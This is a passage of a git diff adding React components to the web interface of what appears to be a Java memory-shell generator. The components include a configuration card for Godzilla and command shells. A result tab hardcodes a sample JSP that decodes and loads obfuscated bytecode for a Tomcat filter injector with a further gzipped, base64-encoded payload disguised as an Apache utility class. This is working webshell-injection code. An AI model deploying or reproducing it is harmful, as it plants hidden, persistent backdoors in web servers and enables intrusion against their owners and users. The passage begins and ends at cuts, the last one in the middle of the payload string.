+ ); +} diff --git a/web/src/components/shell-config-card.tsx b/web/src/components/shell-config-card.tsx new file mode 100644 index 00000000..6e1db4e6 --- /dev/null +++ b/web/src/components/shell-config-card.tsx @@ -0,0 +1,78 @@ +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { Input } from "@/components/ui/input.tsx"; +import { Label } from "@/components/ui/label.tsx"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select.tsx"; +import { FishSymbolIcon } from "lucide-react"; +import { useState } from "react"; + +export function ShellConfigCard() { + const [shellTool, setShellTool] = useState(""); + return ( + + + + + 内存马配置 + + + +
+ + +
+
+ + +
+ {shellTool === "gozilla" && ( +
+ +
+ + + + +
+
+ )} + {shellTool === "command" && ( +
+ + +
+ )} +
+
+ ); +} diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx new file mode 100644 index 00000000..bf52987b --- /dev/null +++ b/web/src/components/shell-result.tsx @@ -0,0 +1,482 @@ +import { CodeViewer } from "@/components/code-viewer.tsx"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; +import { TicketsIcon } from "lucide-react"; + +export function ShellResult() { + return ( + + + + + FBI + + + + + + 打包结果 + 内存马类 + 注入器类 + + + + + + + + + + + + + + ); +} + +const packerResult = `<%! + public byte[] decodeBase64(String bytecodeBase64) { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); + } catch (Exception ee) { + try { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + } catch (Exception e) { + return null; + } + } + } +%> + +<% + String className = "org.apache.lEfaI.SignatureUtils"; + String base64Str = "yv66vgAAADIBvQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQAOe3t1cmxQYXR0ZXJufX0IACoBAA17e2NsYXNzTmFtZX19CAAsAQANe3tiYXNlNjRTdHJ9fQgALgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIADYBAAxkZWNvZGVCdWZmZXIHADgBABBqYXZhL2xhbmcvU3RyaW5nCgAwADoMADsAPAEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKADAAPgwAPwAcAQALbmV3SW5zdGFuY2UKAEEAQgcAQwwARABFAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBHAQACW0IIAEkBABBqYXZhLnV0aWwuQmFzZTY0CABLAQAKZ2V0RGVjb2RlcgoAAgBNDABOAE8BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAFEBAAZkZWNvZGUHAFMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAUgADBwBWAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQoAVQBYDAAFAFkBAAUoW0IpVgcAWwEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtCgBaAF0MAAUAXgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAWgBgDABhAGIBAARyZWFkAQAFKFtCKUkKAFIAZAwAZQBmAQAFd3JpdGUBAAcoW0JJSSlWCgBSAGgMAGkAagEAC3RvQnl0ZUFycmF5AQAEKClbQgoAMABsDABtAG4BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwBwAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uCgAwAHIMAHMATwEADWdldFN1cGVyY2xhc3MKAG8AdQwABQB2AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgB4AHkHAHoMAHsAfAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAHgAfgwAfwAgAQADZ2V0CgAIAIEMAIIAgwEADGludm9rZU1ldGhvZAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoAMACFDACGAIcBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAQQCJDACKAIsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsKADcAjQwAjgCPAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaCgBBAJEMAJIAkwEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsKADAAlQwAlgA8AQARZ2V0RGVjbGFyZWRNZXRob2QHAJgBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uCgCXAHUKAEEAeQcAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24KAJsAoAwAoQCLAQAKZ2V0TWVzc2FnZQoAnQB1BwCkAQATamF2YS91dGlsL0FycmF5TGlzdAoAowADBwCnAQAQamF2YS9sYW5nL1RocmVhZAgAqQEACmdldFRocmVhZHMKAAgAqwwAggCsAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsHAK4BABNbTGphdmEvbGFuZy9UaHJlYWQ7CgCmAIkIALEBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCgA3ALMMALQAtQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaCAC3AQAGdGFyZ2V0CgAIALkMALoArAEADWdldEZpZWxkVmFsdWUIALwBAAZ0aGlzJDAIAL4BAAhjaGlsZHJlbgcAwAEAEWphdmEvdXRpbC9IYXNoTWFwCgC/AMIMAMMAxAEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwDGAA8HAMcBAA1qYXZhL3V0aWwvU2V0CgC/AH4KADAAiQgAywEAD1N0YW5kYXJkQ29udGV4dAsADgDNDADOAI8BAANhZGQIANABABVUb21jYXRFbWJlZGRlZENvbnRleHQKAKYA0gwA0wDUAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwoAMADWDADXAIsBAAh0b1N0cmluZwgA2QEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIANsBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCADdAQAJcmVzb3VyY2VzCADfAQAHY29udGV4dAoAnQDhDAAFAOIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAKYA5AwA5QDmAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgAwAOgMAOkA1AEADmdldENsYXNzTG9hZGVyCgAIAOsMAOwAiwEADGdldENsYXNzTmFtZQoA7gDvBwDwDADxADQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MKAAgA8wwA9ACLAQAPZ2V0QmFzZTY0U3RyaW5nCgAIAPYMAPcA+AEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IKAAgA+gwA+wD8AQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IIAP4BAAtkZWZpbmVDbGFzcwkBAAEBBwECDAEDAQQBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwoBAAEGDAEHAQgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwcBCgEAE2phdmEvbGFuZy9UaHJvd2FibGUKAQkBDAwBDQAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAQ8MARAA1AEAEWdldENhdGFsaW5hTG9hZGVyCAESAQANZmluZEZpbHRlckRlZggBFAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyRGVmCAEWAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIARgBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIARoBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAKADABHAwAMwEdAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwgBHwEADXNldEZpbHRlck5hbWUIASEBAA5zZXRGaWx0ZXJDbGFzcwgBIwEADGFkZEZpbHRlckRlZggBJQEADXNldERpc3BhdGNoZXIIAScBAAdSRVFVRVNUCAEpAQANYWRkVVJMUGF0dGVybgoACAErDAEsAIsBAA1nZXRVcmxQYXR0ZXJuCAEuAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCgAwATAMATEBMgEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwgBNAEADXNldFVSTFBhdHRlcm4IATYBABJhZGRGaWx0ZXJNYXBCZWZvcmUIATgBAAxhZGRGaWx0ZXJNYXAKAToAeQcBOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yCgE6AT0MAD8BPgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgBQAEADWZpbHRlckNvbmZpZ3MHAUIBAA1qYXZhL3V0aWwvTWFwCwFBAUQMAUUBRgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAlAQwKAAgAAwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQBDTGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEACkV4Y2VwdGlvbnMBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAD2d6aXBJbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBaAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAR2YXI1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAANvYmoBAARuYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAFY2xhenoBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lBwFzAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzAQAVW0xqYXZhL2xhbmcvQ2xhc3M8Kj47BwF8BwF+BwF3AQAJU2lnbmF0dXJlAQBgKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzPCo+O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEa2V5MQEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAB3RocmVhZHMBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJY2xhenpCeXRlAQACZTEBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZkHAaEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBowEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAH29yZy9hcGFjaGUvbEVmYUkvU2lnbmF0dXJlVXRpbHMHAacKAagACQoBqAAeCgGoACIBACFMb3JnL2FwYWNoZS9sRWZhSS9TaWduYXR1cmVVdGlsczsBAAIvKggBrQEAHW9yZy5hcGFjaGUuTnBBVXAuRXJyb3JIYW5kbGVyCAGvAQ98SDRzSUFBQUFBQUFBLzZWWWVWaGMxUlgvWFdiZ0RjUEw0cENOTEdZMVlaOUFnQkJJWW9DUWdBS0pJVVlqK3VsamVNQ0VZV2J5NWcwQlNWcHI3V3B0N1Y2NzIxclQ5dE0ycVdZSXBtcTZxYlZiYkcxcnRhdjlvNnV0M1d0cnBiLzczcHZKREF6SjUrY2ZjKzk5OTV4NzdqbS9zOXg3NThsWEhub0VRTFdvOHlJSExnVnVGYm5JRTFoNFNCdlIvQ0V0UE9CdkNXbXhXRWRFNjlNTmdieXR3WERRM0M3Z0tpNDU0SUZIUUJrZkg5TEhqaDNMaHhjRkNsUVZjekJYb0RFUUdmWWJ1blpJaTBYQ2ZpbnRpTjdySDlhSFkzb281RGNqd3dITjlBOUUrbTRPaGtLYWY3Y3oyQlVNbVhJYkYwVUsrRHJPYTlGdEdzSHdRS01IOHdVODQrTlI2bVR2NlZOUktEZDB5eWtQRmxvYURmZlYydFRGS3BaSXFvc3pIaXdWbURzK1BxaExXN3EwWWQzbVdhNWloZVR4bmlkNHNGSmdYcEwxZ0JhS083eXJWYXlSdkFWcEZBbmRPb25iWlFKTGl6dXlJdGRZY2tDeWJWQlJqQkl1NzlQN2cySGRZaEJZWE56VDNONWVNbjBsalMyajVrMnQzVjVVb0ZLQlg4VkdWQWtVU3NaUmY4QVlpNW9SZjBzd09pZ3hLeGpRemZad3pOVENBVjJncEhnbWVQWU8weFkyS3Rna3NES0RFb3ZxQVgrM0hqQjA4MHA5ckp0Zlh0U2lUc0ZtRmZYWUlqQi91bXc2aGRzM2o1azY3WEVYbC9RMGUxR05Sb25LVnR2QUxPb2NrSFp0VjNFNWRuQ1JEQ3pKMm01enh2UkEzQWlhWTM1cTRMQTJxMmpCVGpxNEw3SXJHTlpDREVjSzVsNEtkam1vMkJ1MGpnYjBxQm1NaEJXMENWeG0yeGJUalpHUWJ2b0hUVFBxYjJQVGJVL3Mwdy9IOVppcDRBcUI5UmRqalVVajRaaGVnTjNvVU5HSkxvRjgydDJtMjlteGZsYlFNNllrbUh0VlhJVjloQzBRQ1p0YU1FellsbVhFenFCbWRFdk42TTNHa3V2a2p2dFZYSTBEakZQdTJLM0hZclJQWUUxeDBxdFpsTFo0R3VYYWExVWNsTnFxWEx0WE14aml6RE12QTdwSHhmVzRnWVJlTGFiWDFlelVBNUUraHMraWJKWklwM3B4bzRxYm9BbUlVWHFDK0YvSGVROEMvSWhxWXlGR2V3RjA5Q3NZVURHSW9NQ2xGMWJQMXFuSjVCNjljVk8vT0loN2VnL3BBWk1nRGlHa1lGaEZHSkdNaUxRWjdJaDBNcXl3ZUdaMmVYRVlob0tZQ2hOeFp2czBPa3RGY24yeStCWE5sT0prdDhSbG5XeEdWWXpoWm9KekZXdW9ETTRaMjBwMGpxbzRodGZSOGxpRzVSdXlXRDdUY0ZsM2IyRVVSSk51akVrSEgxWHdSb0VWRm5jdzRwZVoyR1FZMnRpZXVCbU5teFNtYThOZTNBcVhOUHZOS3Q2Q3Q3SmtoUFVqNTB2R2d1SXNNQ3Q0dThDcTg5TTJ1eG5VWkhxbDVkazdNcmxDSVgxQUN6VUZBblJ5R3RjN1dTSFBjKzJMVTlDd25xSjdjUWZ1bENYajNRSkwwckhZUDJoRWptaTlJZDBxQkVONHI0cjM0ZjFNZnlhSUZvcEpxTFBneEtScHh3ZFZmQWgzMldsNkRldUo5T1BpcEtFRWFpOVJkZ2hXWG41RXhVZnhNZkxINHIweHA3UXRLczZzenFrMC9nUStxZUJ1RlovQ3A1UDFKMU9rUU80Uk9aaW1ZVm9CSE1KblZOeUw0d3hYTTVLc3BabWVTRzEzS3o2bjR2T3kvaGFZa1pTSFpkamRwK0orZkNHVnhhM2haQlpuUm1CYS9Ua2g3VHdwOWNwbVdnRWV3SU1LVHFsSVlJS0JuNW5DOWluTkNoVms5bnBrTWJaUDdSM0YwMHBSWm9WdG5JMXFGMVVyc0NlZFRLNk1tOEZRWmJObGpZellNeXEraklkWlkvb2oxZ0hOcW42Uk1wRThRaCsxQzZZTkNmUDlLN3hYOUdRdEJsOVQ4WFY4d3c2VlR0MGNqUFNsVE1yWVplYnE5SDBOdlQvRThQUGJFcGcvanpNMGVyTFZyMi9pU1FYZlV2RnRmSWZ4UHBzRVJua3dQQklab3NsYnNrUjVGc2xac3RpRDc3R2U2UllHKzUwd1UvQ1VRSTZzM1Q5Z3BNVGk0Y3JoWUN4UTJkelUzWnFNSU1PREg4b3NzejQ4K0xFTnBYMUdrUFlUMHZwMG0vYmNUQmtwdnA4eE1HMis1bmgvdjNUQ0x4amoyV0tLMTRBV0szTG5kZkI2MUJVZjd0V04vVEx4NVdVd0V0QkNCelFqS0wrZFNiYzVHR1Q2Yit0NERiZk5SbFpyVnV6RnM1UjJZaFRvWlZCMEJ3ZkNtaGszZEZtYnNoVDJyYVhicFNTZWd3dXpYck9vN0lobTFDVEoweTRxY2lrTkVjUDhYU2N3cDl2VUFrT2RXdFN4cytlMVpWYkhyUG5McE9PTy9abDNiU2RvU09EVzZURzN6NDdNNElpK0o2b2JtVWNBMmZNMHcrQjV3OXRrcXJ4bVBZZklxc1NTcC8rcWkxMWZDRnlmWnZMQ01UZVdZVFJ2RmhjR2hWRVV5d1FpcWRuc1NMRmdCK3k2dHV3Q29GRi9JNm5FaHRuMW42YU54MGlwTWQyZHMxMDBHeFdoQ0N5L2tKbUt5SGZPL1ZtdFVrU0JjN1c5dUJ1WjRxbHhUQkZ6Wjl6ZkhObm5EM1V4UCszc2E5K1RKbW5sZERNZERDUGgvdUNBRlhscWY5b01EYjBRdjd6MzAxNGp3cGVoWXBjaytTQzFUenlCUzJaVVpUdmo2cGpBdlV5dDNCSDVWbU9WeXF3alk5RmtMVm1RUGFNVnUzSnhLMjkzSkc0RWRDcEY3c0xNSWxJcDE5SVBFV1BBcjBXMXdLRHU3NG8yWFIzMXR4cEd4R2pUd24waDFqMnh5b1BDZkxFYVBoNXptd0oxK3NiZWVtMUxvS3EydXJwRzg0aDFra1JYcmFxcWF0bFoxMVMvdWJaK1MzMU5WZDJtdXBaTm01dGE2cXZybXFxYk50WTB0M2pFQnNtNm1EcGRUYXdxbWdiMHNPa1JwWEp5T1ZYbUs4eXNxdDdrRVJWeVpyVU0rd3NxMXVnbFc0OXNicFROT3RtTXl1WStMbDdOZDZ2QXoza3RFL0pwRDdBdmRQb2xUci9DNmRkWWZUNUh1Y2hqKzB0KzFWanJnZUxTQ1lqU1FySG1sRmpMN3JKVFlqMjc0bE9paEYzWktWSE9ydktVOEo4RUxGbDhUenNTYWlraGgzMUphZGtFMXI0S0VieUtjNkVVc1ExdVMwUithWm1yN0pFSnJEL0JqeHo4aW0yZXBkMUtQTTkya2MyRVg0dU5sb2g4L0FaUGtmNWJpL3QzSFBIcDQyajFERmU2MlpmN1NrK2p2S3RpK1YxUTNNZmh6ajJENm9PbEQ0cjFDZFQ0YUhOREF0c3F5aEpvT3RFbFR0aElvQVN0Y09FdkhHK0Zhd3J6NEZiRWFnWG5oTUpucm15bVNFcWZ5MkVqcG9pM3k1bVVYSzJXL291SUZJaFZIdFpqTFRaUWRqRksyVDV2WVMvOXNCYS94eCs0WHlsdCtDTmU0SWhhcDJ3c3g1OHNHK1hvejNqUjhsWUNmN1dCeTdtZkVncUk1WXF5czlqZDRDNC9pL2FHM0NJMzdTdWZ4SlU1ZUF3dnBuMXg0RTlnejExNHJzZzlpVzZCaGp5THVuWVMxK1RndEtocVVFcUxGRmRDVkRjb1JYbSsza24wNWVCeHJKSGpNMkwxd2RJRURpVVFuUkNiaXBTRXFKbkV1QXZIY1h1UjIvZjZJbVVTYjNEaERHNDlPSUhiR2p5cDVXZHhPSUUzTmVRZng3d0c3eG5jY2JESU80RjNQVnFVWCtSSjREM1hzSGRiZmU0a1BpQ2toaVd1K2ZNVCtIQUNIeS9LVCtDZUZFWHlmOVpOM1U2TFdrazh2MER5ZjVGVHgxRlFVVVpMdnlTMW10T1FsL3c0U1VqdnhOMjRCMjl6K3R1aGlubkNsM0p6Q0o0cEhJVkhlay9rS2NLajRBRUZ1eFcwSzlEcFQyQ0tyc3VmamF6dzdzK1R3UHV5L0l0dGFBcmR5SnZKU204cHpZeUtmQ3NzRG1FcDI0MTBmeFZVYklLZndWRFBWR3BESGE3Q1p0ekFyNk5vNEVPd2tUcHZwOVpOMVB0eXZrVjI0QVNhY1JvdGhIWW5ucVlOejJJWHJkZ3QzTGlDWVhlbG1JYzl0SzFUTEVDWFdJNjlWcWpkeHVKd042MzlHLzdPdExtWGo1Si80SjlzNytUeitsLzROenlVdXQraDF2UE8reEwrUTkzYWVLMy9MOE5Qb1N3UFY3ekFPUVpiTWpnNWVobi9rOEhKMFN2RUtFZU9HUHlDTytXSnhTSkh1SmlFcXJoRXVFVXVjb1ZxSlhTT21FTWRCUzRYbHpqNVgyc2xNQmVmbkpiMys5UHlYcVJ5UWdpZktHUXJ4Ym5aeitGdlFhcWlsVm04V1lSZGF3bFRiYUlqTEYrK3pHd3RoRTQrbWF5am9zTjMralFlNml6M1BTTE80bXdDWHkxbi8xZ0NUM1JWTUFWODMzVS9qTU1IWGI1ejNTUlY4R1Bvb0t1VTR5Zk9vcmJqT0xaMCtiNXZMWmVCNzVieGZjajNkUHFTSXZlTU5ia043cklUVmlIZFJnKzMwdHVINlpsV21pZmpzMFNXb1IyeXpERFdhcTNpTXNXZ2NUdmZzdGJJdVpkb2xqUzNHaEtaNnluc1JycnRKaXhqVmR5R0lDWDBVbkFmZGtOSEovcTV4U0EzR2NBSXcxRkMwMFpKeTdCR0xHUVl1TGl5WGl3U2l5bWxFK3VzT1RkWFZqaHpUYWdWUzV4cU5TcUtHQ1FTN0JHeGxHZU1FTXNjcjlreWxuTmtyK1FvNlRYcW5DLy8zTEs5bGczOEgyVUYveGtIeWRxWjRKK3p3WDkyT3ZnL1RWOHlEZnh6cndMOFdsa0swc0MzdnJPREg2RXdnK2JIQ0toSnNVY3BJVTdCUndqRUtBRWQ0eGJqcE54TThJOWxnTDhpQy9nckxnTCszQlQ0VDEwWWZGSXZsYnhpNWY4QkpDclRpRndZQUFBPQgBsQoBqACBCgGoAKsKAagAuQoBqADrCgGoAPMKAagA9goBqAD6CgGoAQ8KAagBKwoBqAADACEBqAACAAAAAAAOAAEABQAGAAEBSQAAANgAAwAFAAAANiq3AAEqtgGpTCu5AA0BAE0suQATAQCZABssuQAZAQBOKi22Aao6BCotGQS2Aaun/+KnAARMsQABAAQAMQA0ACUABAFUAAAAGgAE/wAQAAMHAagHAA4HABQAAPkAIEIHACUAAUoAAAAmAAkAAAAcAAQAHgAJAB8AIAAgACcAIQAuACIAMQAkADQAIwA1ACUBSwAAACoABAAnAAcBTAFNAAQAIAAOAN8BTQADAAkAKAFOAU8AAQAAADYBUAGsAAABUgAAAAwAAQAJACgBTgFTAAEAAQEsAIsAAQFJAAAAEAABAAEAAAAEEwGusAAAAAAAAQDsAIsAAQFJAAAAEAABAAEAAAAEEwGwsAAAAAAAAQD0AIsAAQFJAAAAEAABAAEAAAAEEwGysAAAAAAACAD3APgAAgFJAAAA+gAGAAQAAABkEi24AC9MKxI1BL0AMFkDEjdTtgA5K7YAPQS9AAJZAypTtgBAwABGsE0SSLgAL0wrEkoDvQAwtgA5AQO9AAK2AEBOLbYATBJQBL0AMFkDEjdTtgA5LQS9AAJZAypTtgBAwABGsAABAAAAJwAoACUABAFUAAAABgABaAcAJQFKAAAAGgAGAAAANgAGADcAKAA4ACkAOQAvADoAQgA7AUsAAAA0AAUABgAiAVUBBAABAEIAIgFWAU0AAwApADsBVwFYAAIAAABkAVkBWgAAAC8ANQFVAQQAAQFSAAAAFgACAAYAIgFVAVsAAQAvADUBVQFbAAEBXAAAAAQAAQAlAAkA+wD8AAIBSQAAANQABAAGAAAAPrsAUlm3AFRMuwBVWSq3AFdNuwBaWSy3AFxOEQEAvAg6BC0ZBLYAX1k2BZsADysZBAMVBbYAY6f/6yu2AGewAAAAAwFUAAAAHAAC/wAhAAUHAEYHAFIHAFUHAFoHAEYAAPwAFwEBSgAAAB4ABwAAAEAACABBABEAQgAaAEMAIQBFAC0ARgA5AEgBSwAAAD4ABgAAAD4BXQBHAAAACAA2AV4BXwABABEALQFgAWEAAgAaACQBYgFjAAMAIQAdAWQARwAEACoAFAFlAWYABQFcAAAABAABAWcAAQC6AKwAAgFJAAAA9gADAAYAAAA9AU4rtgBMOgQZBBICpQAZGQQstgBrTqcADzoFGQS2AHE6BKf/5i3HAAy7AG9ZLLcAdL8tBLYAdy0rtgB9sAABAA8AFgAZAG8ABAFUAAAAEQAE/QAIBwB4BwAwUAcAbwsMAUoAAAAyAAwAAABNAAIATgAIAE8ADwBRABYAUgAZAFMAGwBUACIAVQAlAFcAKQBYADIAWgA3AFsBSwAAAD4ABgAbAAcBaQFqAAUAAAA9AVABrAAAAAAAPQFrAU0AAQAAAD0BbAFaAAIAAgA7AW0BbgADAAgANQFvAQQABAFSAAAADAABAAgA